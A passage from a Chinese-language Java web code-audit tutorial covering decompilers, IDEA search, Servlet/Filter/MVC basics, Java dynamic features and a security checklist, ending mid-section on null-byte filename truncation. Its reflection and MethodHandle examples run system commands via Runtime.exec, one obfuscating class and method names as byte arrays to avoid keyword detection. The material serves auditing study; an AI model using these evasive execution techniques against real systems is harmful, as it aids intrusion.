Fernflower插件](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine/src/org/jetbrains/java/decompiler)、[Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)、[Fernflower](https://the.bytecode.club/showthread.php?tid=5)、[JAD](http://www.javadecompilers.com/jad)、[JBE](http://www.cs.ioc.ee/~ando/jbe/)、[JEB](https://www.pnfsoftware.com/jeb/manual/) 等工具来反编译class。 85 | 86 | 其中`JD-GUI`可能是目前反编译中使用的最多的工具了,但是个人觉得`JD-GUI`的反编译能力远不如经过`IDEA`(IDEA应该是使用的改版后的`Fernflower`),因为`IDEA`默认支持对`jar`和`class`的反编译,所以我个人强烈推荐使用`IDEA`来反编译class代码。 87 | 88 | 当然,反编译工具很多时候也不是万能的,`JD-GUI`经常遇到无法反编译或反编译过程中程序直接崩溃的情况,遇到这类情况我们通常可以使用`IDEA`反编译试试,如果`IDEA`也无法反编译可以使用`JBE`来加载`class文件`读取程序的字节码,如果`JBE`仍无法读取类信息还可以使用`JDK`自带的`javap命令`来读取`class类字节码`,如果上诉所有的方法都无法反编译,那么恐怕是这个类本身就存在无法编译问题要么可能就是类文件被加密处理过。可能你会说java编译的class不是说不可以加密吗?没错,这里所说的加密其实是为了保护编译后的class代码不可反编译,通过实现`自定义ClassLoader`来`loadClass`加密后的类方式而已,这种加密方式曾在实战中也有遇到。 89 | 90 | ### 2. 反编译整个Jar技巧 91 | 92 | 通常我们在某些特殊的场景下拿到的只是jar文件,那么我们应该如何反编译整个jar包的class文件呢? 93 | 94 | #### 2.1. Fernflower 95 | 96 | Fernflower可以很轻松的实现jar的完整反编译,执行如下命令即可: 97 | `java -jar fernflower.jar jarToDecompile.jar decomp/` 98 | 其中`jarToDecompile.jar`是需要反编译的jar文件,`decomp`是反编译后的`class文件`所存放的目录。需要注意的是`Fernflower`如遇无法反编译的情况可能会生成空的java文件! 99 | 100 | #### 2.2. JD-GUI 101 | 102 | `JD-GUI`是一个带GUI的反编译工具,在`JD-GUI`的菜单中点击`File`-->`Save All Sources`即可反编译jar。 103 | 104 | #### 2.3. IDEA 105 | 106 | IDEA默认就支持jar包反编译,同时还支持class文件名(`⇧⌘F`)、类方法名称(`⇧⌘O`)搜索。 107 | 108 | #### 2.4. Bytecode-Viewer 109 | 110 | `FernFlower`提供了GUI版本[Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases),`Bytecode-Viewer`提供了直接反编译的`class`、`jar`、`zip`、`apk`、`dex`功能,直接拖拽jar就可以直接对整个jar进行反编译了。 111 | 112 | ![4.1](media/15460052300727/4.1.png) 113 | 114 | #### 2.5. Find命令 115 | 116 | `find`命令并不能支持Java反编译,但是`find`命令可以非常方便的搜索经过编译后的二进制文件中的内容,所以有的时候使用`find`命令通常是最简单实用的,直接解压jar包然后使用find命令搜索: `find ./ -type f -name “*.class” |xargs grep XXXX` 即可搞定。 117 | 118 | #### 2.6 使用Find命令和Fernflower实现批量反编译jar 119 | 120 | 当我们只有项目war包且源码经过打包后发布到`WEB-INF/lib`的情况下,我们不得不去找出待审计源码的具体jar文件并反编译。遇到这种情况我们可以巧妙的使用`find`命令来反编译所有目标的jar包。 121 | 122 | 这里以`jcms`的一个非常老版本为例,`jcms`最终给客户部署的war包中源码并不是在`WEB-INF/classes`目录下,而是将整个`jcms`系统按模块打包成了多个jar包放在了`WEB-INF/lib`目录下。我们可以通过搜索`com.hanweb`包名称来找出所有jar中包含了`jcms`的文件并通过`Fernflower`来反编译。 123 | 124 | ``` 125 | java -jar /Users/yz/Desktop/javaweb-decomplier/javaweb-decomplier.jar -dgs=1 $(find /Users/yz/Desktop/jcms/WEB-INF/lib/ -type f -name "*.jar" |xargs grep "com.hanweb" |awk '{print $3}') /Users/yz/jcms-decomplier 126 | ``` 127 | 128 | 执行上面的命令后会在`jcms-decomplier`目录下看到所有的jar已经被`Fernflower`反编译了。 129 | 130 | ![4.2](media/15460052300727/4.2.png) 131 | 132 | 依赖的jar: [javaweb-decomplier](https://github.com/anbai-inc/javaweb-decomplier)、[Intellij java-decompiler]( https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)。 133 | 134 | 135 | ### 3. IntelliJ IDEA 推荐 136 | 137 | `IntelliJ IDEA`是`Jetbrains`出品的一款非常强大的`Java IDE`,IDEA提供了强大的代码搜索、近乎完美的反编译、动态调试等功能可以最大程度的辅助我们代码审计。 138 | 139 | 不可以否认,与IDEA相比虽然Eclipse和Netbeans也有与之类似的功能,但是在真正的实战体验中个人更倾向于使用IDEA,虽然曾经的我也是一个重度Eclipse开发者。 140 | 141 | ## 三、IDEA代码搜索技巧 142 | 143 | IDEA的搜索快捷键是:`⇧⌘F`,使用IDEA提供的搜索功能可以非常快速的定位漏洞点信息。 144 | 145 | ![5](media/15460052300727/5.png) 146 | 147 | IDEA可以通过自定义搜索范围来精确查找我们需要审计的代码。默认搜索的是所有的位置,不过我们可以点击红色箭头指向的`...`按钮来细化我们的搜索范围。 148 | 149 | ### 1. 自定义范围搜索 150 | 151 | ![6](media/15460052300727/6.png) 152 | 153 | **自定义搜索范围示例:** 154 | 155 | ![7](media/15460052300727/7.png) 156 | 157 | 158 | 自定义搜索范围后就可以在搜索时使用自定义的配置进行范围搜索了,有助于我们在挖漏洞的时候缩小代码定位范围。 159 | 160 | ![8](media/15460052300727/8.png) 161 | 162 | ### 2. 标记搜索 163 | 164 | 搜索快捷键: `⌘O`,标记搜索支持`类名`、`方法名`搜索(`包括class或jar文件`中的方法也支持搜索)。 165 | 166 | ![9](media/15460052300727/9.png) 167 | 168 | ### 3. Java调用链搜索 169 | 170 | 当我们审计代码的时候发现某个方法或类有漏洞时我们需要定位到漏洞的请求地址(触发点),复杂业务系统往往会让我们很难定位到漏洞的触发点。借助IDEA的方法调用链搜索功能就可以很轻松的找出方法的调用链和触发点。 171 | 172 | 选择`类或者方法名`-->`右键`-->`Find Useages`或者使用快捷键`⌥F7` 173 | 174 | ![10](media/15460052300727/10.png) 175 | 176 | 177 | ## 四、Java Web基础 178 | 179 | ### 1. Java分层思想 180 | 181 | 为了更好的管理项目我们通常会采用分层架构的方式来开发Java Web项目,分层设计的好处在于可以非常方便的分清楚包之间的业务逻辑关系。 182 | 183 | **常见的JavaWeb项目分层:** 184 | 185 | ``` 186 | 视图层(View 视图) 187 | 控制层(Controller、Action 控制层) 188 | 服务层(Service) 189 | 业务逻辑层BO(business object)  190 | 实体层(entity 实体对象、VO(value object) 值对象 、模型层(bean)。 191 | 持久层(dao- Data Access Object 数据访问层、PO(persistant object) 持久对象) 192 | ``` 193 | 194 | **基于Java分层架构的示例项目:** 195 | 196 | ![11](media/15460052300727/11.png) 197 | 198 | 199 | ### 2. Java模块化开发 200 | 201 | 如今的较为大型的`Java Web`项目通常都采用了模块化方式开发,借助于`Maven`、`Gradle`依赖管理工具,Java可以非常轻松的完成模块化开发。除此之外使用`OSGi`(`Open Service Gateway Initiative` 可实现模块热部署)技术开发来Java动态模块化系统也是较为常见的。 202 | 203 | 采用模块化开发也会给我们做代码审计带来一定的难度,因为需要在更多的依赖库中去寻找需要我们审计的代码。 204 | 205 | **使用Maven开发的JavaWeb项目示例:** 206 | 207 | ![12](media/15460052300727/12.png) 208 | 209 | ![13](media/15460052300727/13.png) 210 | 211 | 212 | ### 3. 什么是Servlet? 213 | 214 | `Servlet`是在`Java Web容器`上运行的`小程序`,通常我们用`Servlet`来处理一些较为复杂的服务器端的业务逻辑。值得注意的是在`Servlet3.0`之后(`Tomcat7+`)可以使用注解方式配置`Servlet`了。 215 | 216 | **基于注解的Servlet** 217 | 218 | ![15](media/15460052300727/15.png) 219 | 220 | `Servlet3.0`之前的版本都需要在`web.xml`中配置,`Servlet`是`两对标签`,由``和``组成,`Spring MVC`框架就是`基于Servlet技术`实现的。 221 | 222 | **基于配置实现的Servlet** 223 | 224 | ![16](media/15460052300727/16.png) 225 | 226 | **HttpServlet类** 227 | 228 | ![14](media/15460052300727/14.png) 229 | 230 | 实现一个`Servlet`很简单,只需要继承`javax.servlet.http.HttpServlet`类并重写`doXXX`方法或者`service`方法就可以了,其中需要注意的是重写`HttpServlet`类的`service`方法可以获取到上述七种Http请求方法的请求。 231 | 232 | ### 4. JSP、Servlet之间的关系 233 | 234 | JSP、JSPX文件是可以直接被Java容器直接解析的动态脚本,jsp和其他脚本语言无异,不但可以用于页面数据展示,也可以用来处理后端业务逻辑。 235 | 236 | 从本质上说JSP就是一个Servlet,因为jsp文件最终会被编译成class文件,而这个Class文件实际上就是一个特殊的Servlet。 237 | 238 | JSP文件会被编译成一个java类文件,如`index.jsp`在Tomcat中`Jasper`编译后会生成`index_jsp.java`和`index_jsp.class`两个文件。而index_jsp.java 继承于`HttpJspBase`类,`HttpJspBase`是一个实现了`HttpJspPage`接口并继承了`HttpServlet`的标准的`Servlet`,`__jspService`方法其实是`HttpJspPage`接口方法,类似于`Servlet`中的`service`方法,这里的`__jspService`方法其实就是`HttpJspBase`的`service`方法调用。 239 | 240 | ![17](media/15460052300727/17.png) 241 | 242 | ### 5. 什么是Filter 243 | 244 | Filter是JavaWeb中的过滤器,用于过滤URL请求。通过Filter我们可以实现URL请求资源权限验证、用户登陆检测等功能。Filter是一个接口,实现一个Filter只需要重写`init`、`doFilter`、`destroy`方法即可,其中过滤逻辑都在`doFilter`方法中实现。 245 | 246 | Filter和Servlet一样是Java Web中最为核心的部分,使用Servlet和Filter可以实现后端接口开发和权限控制,当然使用Filter机制也可以实现MVC框架,`Struts2`实现机制就是使用的Filter。 247 | 248 | Filter的配置类似于Servlet,由``和``两组标签组成,如果Servlet版本大于3.0同样可以使用注解的方式配置Filter。 249 | 250 | ![18](media/15460052300727/18.png) 251 | 252 | ### 6. Filter和Servlet的总结 253 | 254 | 对于基于`Filter`和`Servlet`实现的简单架构项目,代码审计的重心集中于找出所有的`Filter`分析其过滤规则,找出是否有做全局的安全过滤、敏感的URL地址是否有做权限校验并尝试绕过`Filter`过滤。第二点则是找出所有的`Servlet`,分析`Servlet`的业务是否存在安全问题,如果存在安全问题是否可以利用?是否有权限访问?利用时是否被Filter过滤等问题,切勿看到`Servlet`、`JSP`中的漏洞点就妄下定论,不要忘了`Servlet`前面很有可能存在一个全局安全过滤的`Filter`。 255 | 256 | `Filter`和`Servlet`都是`Java Web`提供的API,简单的总结了下有如下共同点。 257 | 258 | 1. `Filter`和`Servlet`都需要在`web.xml`或`注解`(`@WebFilter`、`@WebServlet`)中配置,而且配置方式是非常的相似的。 259 | 2. `Filter`和`Servlet`都可以处理来自Http请求的请求,两者都有`request`、`response`对象。 260 | 3. `Filter`和`Servlet`基础概念不一样,`Servlet`定义是容器端小程序,用于直接处理后端业务逻辑,而`Filter`的思想则是实现对Java Web请求资源的拦截过滤。 261 | 4. `Filter`和`Servlet`虽然概念上不太一样,但都可以处理Http请求,都可以用来实现MVC控制器(`Struts2`和`Spring`框架分别基于`Filter`和`Servlet`技术实现的)。 262 | 5. 一般来说`Filter`通常配置在`MVC`、`Servlet`和`JSP`请求前面,常用于后端权限控制、统一的Http请求参数过滤(`统一的XSS`、`SQL注入`、`Struts2命令执行`等攻击检测处理)处理,其核心主要体现在请求过滤上,而`Servlet`更多的是用来处理后端业务请求上。 263 | 264 | 265 | ### 7. 初识JavaWeb MVC框架 266 | 267 | 传统的开发存在结构混乱易用性差耦合度高可维护性差等多种问题,为了解决这些毛病分层思想和MVC框架就出现了。`MVC`即模型(`Model`)、视图(`View`)、控制器(`Controller`), MVC模式的目的就是实现Web系统的职能分工。 268 | 269 | 截至2018年底,绝大多数的新项目都已然改为了基于`Spring Boot`的`Spring MVC`实现,也就是说曾经站在JavaWeb MVC最巅峰的`Struts2`框架已经逐渐陨落。 270 | 271 | #### 7.1 Spring MVC 控制器 272 | 273 | 在Spring进入了3.0时代,使用Java注解的方式也逐渐的流行了起来,曾经写一个Spring的控制器我们通常要在xml中声明Spring bean并配置处理的URL,而在新时代的Spring项目中我们通常用`Spring MVC注解`就可以轻松完成`Spring MVC`的配置了。 274 | 275 | **一个基于Spring 注解配置的控制器:** 276 | 277 | ``` 278 | package org.javaweb.codereview.controller; 279 | 280 | import org.springframework.stereotype.Controller; 281 | import org.springframework.web.bind.annotation.GetMapping; 282 | 283 | @Controller 284 | public class IndexController { 285 | 286 | @RequestMapping("/index.php") 287 | public String index() { 288 | return "/index.html"; 289 | } 290 | 291 | } 292 | ``` 293 | 294 | **Spring Controller注解:** 295 | 296 | 1. [@Controller](https://docs.spring.io/spring/docs/5.1.3.RELEASE/javadoc-api/org/springframework/stereotype/Controller.html) 297 | 2. [@RestController](https://docs.spring.io/spring/docs/5.1.3.RELEASE/javadoc-api/org/springframework/web/bind/annotation/RestController.html) 298 | 3. [@RepositoryRestController](https://docs.spring.io/spring-data/rest/docs/current/reference/html/) 299 | 300 | **`Spring MVC`请求配置注解:** 301 | 302 | 1. [@RequestMapping](https://docs.spring.io/spring/docs/5.1.3.RELEASE/javadoc-api/org/springframework/web/bind/annotation/RequestMapping.html) 303 | 2. [@GetMapping](https://docs.spring.io/spring/docs/5.1.3.RELEASE/javadoc-api/org/springframework/web/bind/annotation/GetMapping.html) 304 | 3. [@PostMapping](https://docs.spring.io/spring/docs/5.1.3.RELEASE/javadoc-api/org/springframework/web/bind/annotation/PostMapping.html) 305 | 4. [@PutMapping](https://docs.spring.io/spring/docs/5.1.3.RELEASE/javadoc-api/org/springframework/web/bind/annotation/PutMapping.html) 306 | 5. [@DeleteMapping](https://docs.spring.io/spring/docs/5.1.3.RELEASE/javadoc-api/org/springframework/web/bind/annotation/DeleteMapping.html) 307 | 6. [@PatchMapping](https://docs.spring.io/spring/docs/5.1.3.RELEASE/javadoc-api/org/springframework/web/bind/annotation/PatchMapping.html) 308 | 309 | Spring MVC除了上述6种Http请求处理注解以外还有Spring Data JPA Rest提供的特殊的[@RepositoryRestResource](https://docs.spring.io/spring-data/rest/docs/current/reference/html/)注解,`@RepositoryRestResource`是基于`Spring Data JPA REST`库实现的,`Spring Data JPA REST`提供的API可支持通过JPA查询数据并处理Http请求服务。 310 | 311 | **基于XML配置的Spring MVC** 312 | 313 | 对于一些老旧的项目可能还保留了一些基于xml配置的方式Spring MVC项目,这里只简单的介绍下如何配置不做过多的描述。基于配置方式的控制器一般是在Controller类中实现了Spring的`org.springframework.web.servlet.mvc.Controller`接口的`handleRequest`方法(当然还有其他途径,如:`AbstractCommandController`和`SimpleFormController`但都已经过时了)。 314 | 315 | **TestController.java示例代码:** 316 | 317 | ``` 318 | package org.javaweb.codereview.controller; 319 | 320 | import org.springframework.web.servlet.ModelAndView; 321 | import org.springframework.web.servlet.mvc.Controller; 322 | 323 | import javax.servlet.http.HttpServletRequest; 324 | import javax.servlet.http.HttpServletResponse; 325 | 326 | /** 327 | * @author yz 328 | */ 329 | public class TestController implements Controller { 330 | 331 | @Override 332 | public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { 333 | ModelAndView mv = new ModelAndView(); 334 | mv.setViewName("index"); 335 | 336 | return mv; 337 | } 338 | 339 | } 340 | ``` 341 | 342 | **XML配置具体的bean** 343 | 344 | ``` 345 | 346 | ``` 347 | 348 | #### 7.2 Struts2控制器 349 | 350 | Struts2主要的开发模式是基于xml配置,在`struts.xml`中配置Action地址和对应的处理类。 351 | 352 | ![21](media/15460052300727/21.png) 353 | 354 | 不过Struts2(`2.1.6`版本开始)也可以使用`struts2-convention-plugin`插件来实现基于注解方式的配置。 355 | 356 | ![22](media/15460052300727/22.png) 357 | 358 | 需要注意的是Struts2的参数是可以通过get/set方法传入的,如上图`TestActionAnnotation`类的`username`变量是可以直接在Http请求中的URL传入的。 359 | 360 | 361 | #### 7.3 快速找出Http请求请求URL 362 | 363 | 代码审计中我们可以选择优先从`Controller`、`Servlet`和`JSP`中入手,也可以选择从漏洞点反向推出Http请求的入口地址,这里将讲解下如何快速找到这些请求入口,因为`Struts2`和`Spring MVC`的原理比较接近,所以本节只以`Spring MVC`为例。 364 | 365 | ##### 7.3.1 查找Spring MVC所有的控制器 366 | 367 | 如果有源码的情况下可以使用find命令或者IDEA的全局搜索功能即可快速搜索到所有的控制器,如果只有class文件的情况下可以使用find命令: 368 | 369 | ``` 370 | find ~/cms/ -type f -name "*.class" |xargs grep -E "Controller|@RestController|RepositoryRestController" 371 | ``` 372 | 373 | ##### 7.3.2 查找所有的请求处理URL 374 | 375 | 查找请求处理URL的方式同理,使用如下find命令查找所有class中的请求处理注解: 376 | 377 | ``` 378 | find ~/cms/ -type f -name "*.class" |xargs grep -E "RequestMapping|GetMapping|PostMapping|PutMapping|DeleteMapping|PatchMapping|RepositoryRestResource" 379 | ``` 380 | 381 | #### 7.4 Spring MVC和Struts2控制器小结 382 | 383 | 这一小节我们只是简单的介绍下`Spring MVC`和`Struts2`的控制器,在后面的框架服务章节将会详细介绍。至于如何去快速定位Struts2的action请自行参考Spring MVC的Controller查找方式这里不再讲解。 384 | 385 | ## 五、Java语言的动态性 386 | 387 | Java语言动态性一直以来都比较差,并不像PHP那样灵活。在Java中的动态性往往需要使用一些曲折的方式来实现.这里简单列举了Java十余种动态性相关技术并总结部分技术实现安全问题。 388 | 389 | 1. **Java反射机制** 390 | 2. **MethodHandle** 391 | 3. JDK动态代理 392 | 4. 使用JVM上的动态语言(如:`Groovy`、`JRuby`、`Jython`) 393 | 5. 表达式库(如:`OGNL`、`MVEL`、`SpEL`、`EL`) 394 | 6. **`JSP`、`JSPX`、`Quercus`(Resin容器提供了PHP5支持)** 395 | 7. 字节码库(如:`Asm`、`Javassist`、`Cglib`、`BCEL`) 396 | 8. ScriptEngineManager(脚本引擎)。 397 | 9. 动态编译(如:JDT、JavaCompiler) 398 | 10. **`ClassLoader`、`URLClassLoader`** 399 | 11. **模版引擎(如:`Freemarker`、`Velocity`)** 400 | 12. **序列化、反序列化(包含`Java 对象序列化`、`XML`、`JSON`等)** 401 | 13. `JNI`、`JNA`(Java调用C/C++) 402 | 14. `OSGi`(`Open Service Gateway Initiative`) 403 | 15. **RMI(Java远程方法调用,基于对象序列化机制实现)** 404 | 16. `WebService` 405 | 17. **`JDWP`(`Java Platform Debugger Architecture` Java调试协议)** 406 | 18. JMX(Java Management Extensions) 407 | 408 | ### 1. Java反射机制特性 409 | 410 | Java反射机制可以无视类方法、变量访问权限修饰符,可以`调用任何类的任意方法、访问并修改成员变量值`。也就是说只要发现一处Java反射调用漏洞几乎就可以为所欲为了。当然前提可能需要你能`控制反射的类名、方法名和参数`。 411 | 412 | 一行代码即可实现反射调用Runtime执行本地命令: 413 | 414 | ``` 415 | Runtime.class.getMethod("exec", String.class).invoke(Runtime.class.getMethod("getRuntime").invoke(null), "whoami") 416 | ``` 417 | 418 | 获取一个类的对象(如Runtime类)我们一般会采用如下几种方式: 419 | 420 | 1. `Class.forName("java.lang.Runtime")、"".getClass().forName("java.lang.Runtime")` 421 | 2. `Runtime.class` 422 | 3. `ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime")` 423 | 424 | **Java反射获取类方法有两种方式:** 425 | 426 | 1. `getMethod(xxx)`,`getMethods()` 427 | 2. `getDeclaredMethod(xxx)`、`getDeclaredMethods()`。 428 | 429 | 区别在于`getMethod会返回当前类和父类的所有public方法`,而`getDeclaredMethod返回的是当前的所有方法`。 430 | 431 | **Java反射获取类成员变量有两种方式:** 432 | 433 | 1. `getField(xxx)`、`getFields()` 434 | 2. `getDeclaredField(xxx)`、`getDeclaredFields()` 435 | 436 | `getField`和`getDeclaredField`区别同上,如果想要`调用private修饰的Field或者Method`只需要设置下`setAccessible为true`就可以了,如:`xxxMethod.setAccessible(true)`。 437 | 438 | Java的大部分框架都是采用了反射机制来实现的(如:`Spring MVC`、`ORM框架`等),所以我们不得不掌握Java反射机制来提升我们的代码审计能力。 439 | 440 | **Java反射机制实现无关键字执行命令** 441 | 442 | ``` 443 | import java.io.InputStream; 444 | import java.lang.reflect.Method; 445 | import java.util.Scanner; 446 | 447 | /** 448 | * @author yz 449 | */ 450 | public class ReflectionTest { 451 | 452 | public static void exec() { 453 | try { 454 | System.out.println(Runtime.class.getMethod("exec", String.class).invoke(Runtime.class.getMethod("getRuntime").invoke(null), "curl -i localhost:8000")); 455 | } catch (Exception e) { 456 | e.printStackTrace(); 457 | } 458 | } 459 | 460 | public static void main(String[] args) { 461 | try { 462 | String str = "whoami"; 463 | 464 | // java.lang.Runtime 465 | String runtime = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}); 466 | 467 | // Runtime.class 468 | Class c = Class.forName(runtime); 469 | 470 | // 获取getRuntime方法,Runtime.getRuntime() 471 | Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})); 472 | 473 | // 获取Runtime的exec方法,rt.exec(xxx) 474 | Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class); 475 | 476 | // Runtime.getRuntime().exec(str) 477 | Object obj2 = m2.invoke(m1.invoke(null), str); 478 | 479 | // 获取命令执行结果Process类的getInputStream()方法 480 | Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109})); 481 | m.setAccessible(true); 482 | 483 | // process.getInputStream() 484 | InputStream in = (InputStream) m.invoke(obj2, new Object[]{}); 485 | 486 | // 输出InputStream内容到 487 | Scanner scanner = new Scanner(in).useDelimiter("\\A"); 488 | System.out.println(scanner.hasNext() ? scanner.next() : ""); 489 | } catch (Throwable t) { 490 | t.printStackTrace(); 491 | } 492 | } 493 | 494 | } 495 | ``` 496 | 497 | ### 2. JDK7+ MethodHandle 498 | 499 | JDK7开始Java提供了`MethodHandle`可以非常方便的访问和调用类方法,`MethodHandle`的能力和Java反射机制相似,但效率却远高出Java反射机制,但`MethodHandle`也并不是那么完美的,缺点是`MethodHandle`必须要求JDK版本大于等于1.7,`MethodHandle`也无法像反射那样调用私有方法和变量。 500 | 501 | 参考:[通过代码简单介绍JDK 7的MethodHandle,并与.NET的委托对比](https://rednaxelafx.iteye.com/blog/477934)。 502 | 503 | **基于MethodHandle实现的调用Runtime执行系统命令** 504 | 505 | ``` 506 | import java.io.InputStream; 507 | import java.lang.invoke.MethodHandle; 508 | import java.lang.invoke.MethodHandles; 509 | import java.lang.invoke.MethodType; 510 | import java.util.Scanner; 511 | 512 | /** 513 | * @author yz 514 | */ 515 | public class MethodHandlesTest { 516 | 517 | public static void main(String[] args) { 518 | try { 519 | String str = "ping p2j.cn -c 1"; 520 | Class runtimeClass = Runtime.class; 521 | MethodHandles.Lookup lookup = MethodHandles.lookup(); 522 | 523 | // Runtime rt = Runtime.getRuntime() 524 | MethodHandle methodHandle = lookup.findStatic( 525 | runtimeClass, "getRuntime", MethodType.methodType(runtimeClass) 526 | ); 527 | 528 | // 获取Runtime的exec方法 529 | MethodHandle execMethod = lookup.findVirtual( 530 | runtimeClass, "exec", MethodType.methodType(Process.class, new Class[]{ 531 | String.class 532 | }) 533 | ); 534 | 535 | // 获取Process的getInputStream方法 536 | MethodHandle inputStreamMethod = lookup.findVirtual( 537 | Process.class, "getInputStream", MethodType.methodType(InputStream.class) 538 | ); 539 | 540 | // 调用Runtime.getRuntime().exec(xxx).getInputStream() 541 | InputStream in = (InputStream) inputStreamMethod.invoke( 542 | execMethod.invoke(methodHandle.invoke(), str) 543 | ); 544 | 545 | // 输出InputStream内容到 546 | Scanner scanner = new Scanner(in).useDelimiter("\\A"); 547 | System.out.println(scanner.hasNext() ? scanner.next() : ""); 548 | } catch (Throwable t) { 549 | t.printStackTrace(); 550 | } 551 | } 552 | 553 | } 554 | ``` 555 | 556 | ## 六、Java代码审计-Checklist 557 | 558 | 通常我喜欢把代码审计的方向分为`业务层安全`问题、`代码实现`和`服务架构`安全问题,。 559 | 560 | ### 1. 业务层安全常见问题 561 | 562 | 业务层的安全问题集中在`业务逻辑`和`越权`问题上,我们在代码审计的过程中尽可能的去理解系统的业务流程以便于发现隐藏在业务中的安全问题。 563 | 564 | ### 1.1 业务层中常见的安全问题Checklist 565 | 566 | 1. 用户登陆、用户注册、找回密码等功能中密码信息未采用加密算法。 567 | 2. 用户登陆、用户注册、找回密码等功能中`未采用验证码`或`验证码未做安全刷新`(未刷新Session中验证码的值)导致的撞库、密码爆破漏洞。 568 | 3. 找回密码逻辑问题(如:可直接跳过验证逻辑直接发包修改)。 569 | 4. 手机、邮箱验证、找回密码等涉及到动态验证码等功能`未限制验证码失败次数`、`验证码有效期`、`验证码长度过短`导致的验证码爆破问题。 570 | 5. 充值、付款等功能调用了第三方支付系统未正确校验接口(如:1分钱买IPhone X)。 571 | 6. 后端采用了`ORM框架`更新操作时因处理不当导致可以更新用户表任意字段(如:用户注册、用户个人资料修改时可以`直接创建管理员账号`或其他越权修改操作)。 572 | 7. 后端采用了`ORM框架`查询数据时因处理不当导致可以接收任何参数导致的越权查询、敏感信息查询等安全问题。 573 | 8. 用户中心转账、修改个人资料、密码、退出登陆等功能未采用验证码或Token机制导致存在CSRF漏洞。 574 | 9. 后端服务过于信任前端,重要的参数和业务逻辑只做了前端验证(如:文件上传功能的文件类型只在JS中验证、后端不从Session中获取用户ID、用户名而是直接接收客户端请求的参数导致的越权问题)。 575 | 10. 用户身份信息认证逻辑问题(如:后台系统自动登陆时直接读取Cookie中的用户名、用户权限不做验证)。 576 | 11. 重要接口采用ID自增、ID可预测并且云端未验证参数有效性导致的越权访问、信息泄漏问题(如:任意用户订单越权访问)。 577 | 12. 条件竞争问题,某些关键业务(如:用户转账)不支持并发、分布式部署时不支持锁的操作等。 578 | 13. 重要接口未限制请求频率,导致短信、邮件、电话、私信等信息轰炸。 579 | 14. 敏感信息未保护,如Cookie中直接存储用户密码等重要信息。 580 | 15. 弱加密算法、弱密钥,如勿把Base64当成数据加密方式、重要算法密钥采用弱口令如`123456`。 581 | 16. 后端无异常处理机制、未自定义50X错误页面,服务器异常导致敏感信息泄漏(如:数据库信息、网站绝对路径等)。 582 | 17. 使用DWR框架开发时前后端不分漏洞(如:DWR直接调用数据库信息把用户登陆逻辑直接放到了前端来做)。 583 | 584 | ### 2. 代码实现常见问题 585 | 586 | 代码审计的核心是寻找代码中程序实现的安全问题,通常我们会把代码审计的重心放在SQL注入、文件上传、命令执行、任意文件读写等直接威胁到服务器安全的漏洞上,因为这一类的漏洞杀伤力极大也是最为致命的。 587 | 588 | ###2.1 代码实现中常见的安全问题Checklist 589 | 590 | 1. 任意`文件读写`(文件上传、文件下载)、`文件遍历`、`文件删除`、`文件重命名`等漏洞 591 | 2. SQL注入漏洞 592 | 3. XXE(XML实体注入攻击) 593 | 4. 表达式执行(SpEL、OGNL、MVEL2、EL等) 594 | 6. 系统命令执行漏洞(ProcessBuilder) 595 | 7. 反序列化攻击(ObjectInputStream、JSON、XML等) 596 | 8. Java反射攻击 597 | 9. SSRF攻击 598 | 599 | 600 | #### 2.1.1 Java 文件名空字节截断漏洞(%00 Null Bytes) 601 | 602 | 空字节截断漏洞漏洞在诸多编程语言中都存在,究其根本是Java在调用文件系统(C实现)读写文件时导致的漏洞,并不是Java本身的安全问题。不过好在高版本的JDK在处理文件时已经把空字节文件名进行了安全检测处理。 603 | 604 | 2013年9月10日发布的`Java SE 7 Update 40`修复了空字节截断这个历史遗留问题。此次更新在`java.io.File`类中添加了一个isInvalid方法,专门检测文件名中是否包含了空字节。 605 | 606 | ![-w670](media/15460052300727/15461886883763.jpg) 607 | 608 | 修复的JDK版本所有跟文件名相关的操作都调用了`isInvalid`方法检测,防止空字节截断。 609 | 610 | ![-w307](media/15460052300727/15461890198413.jpg) 611 | 612 | 修复前(`Java SE 7 Update 25`)和修复后(`Java SE 7 Update 40`)的对比会发现`Java SE 7 Update 25`中的`java.io.File`类中并未添加`\u0000`的检测。 613 | 614 | ![-w851](media/15460052300727/15461904682947.jpg) 615 | 616 | 受空字节截断影响的JDK版本范围:`JDK<1.7.40`,单是JDK7于2011年07月28日发布至2013年09月10日发表`Java SE 7 Update 40`这两年多期间受影响的就有16个版本,值得注意的是JDK1.6虽然JDK7修复之后发布了数十个版本,但是并没有任何一个版本修复过这个问题,而JDK8发布时间在JDK7修复以后所以并不受此漏洞影响。 617 | 618 | 参考: 619 | 620 | 1. [JDK-8014846 : File and other classes in java.io do not handle embedded nulls properly](https://bugs.java.com/bugdatabase/view_bug.do?bug_id=8014846)。 621 | 2. [维基百科-Java版本歷史](https://zh.wikipedia.org/wiki/Java版本歷史) 622 | 3. [Oracle Java 历史版本下载](https://www.oracle.com/technetwork/java/javase/archive-139210.html) 623 | 624 | ##### 2.1.2 测试Java写文件截断测试 625 | 626 | 测试类`FileNullBytes.java`: 627 | 628 | ``` 629 | import java.io.File; 630 | import java.io.FileOutputStream; 631 | import java.io.IOException; 632 | 633 | /** 634 | * @author yz 635 | */ 636 | public class FileNullBytes { 637 | 638 | public static void main(String[] args) { 639 | try { 640 | String fileName = "/tmp/null-bytes.txt\u0000.jpg"; 641 | FileOutputStream fos = new FileOutputStream(new File(fileName)); 642 | fos.write("Test".getBytes()); 643 | fos.flush(); 644 | fos.close(); 645 | } catch (IOException e) { 646 | e.printStackTrace(); 647 | } 648 | } 649 | 650 | } 651 | ``` 652 | 653 | 使用`JDK1.7.0.25`测试成功截断文件名: 654 | 655 | ![-w987](media/15460052300727/15461913651356.jpg) 656 | 657 | 使用`JDK1.7.0.80`测试写文件截断时抛出`java.io.FileNotFoundException: Invalid file path`异常: 658 | 659 | ![-w1017](media/15460052300727/15461915044088.jpg) 660 | 661 | **空字节截断利用场景** 662 | 663 | 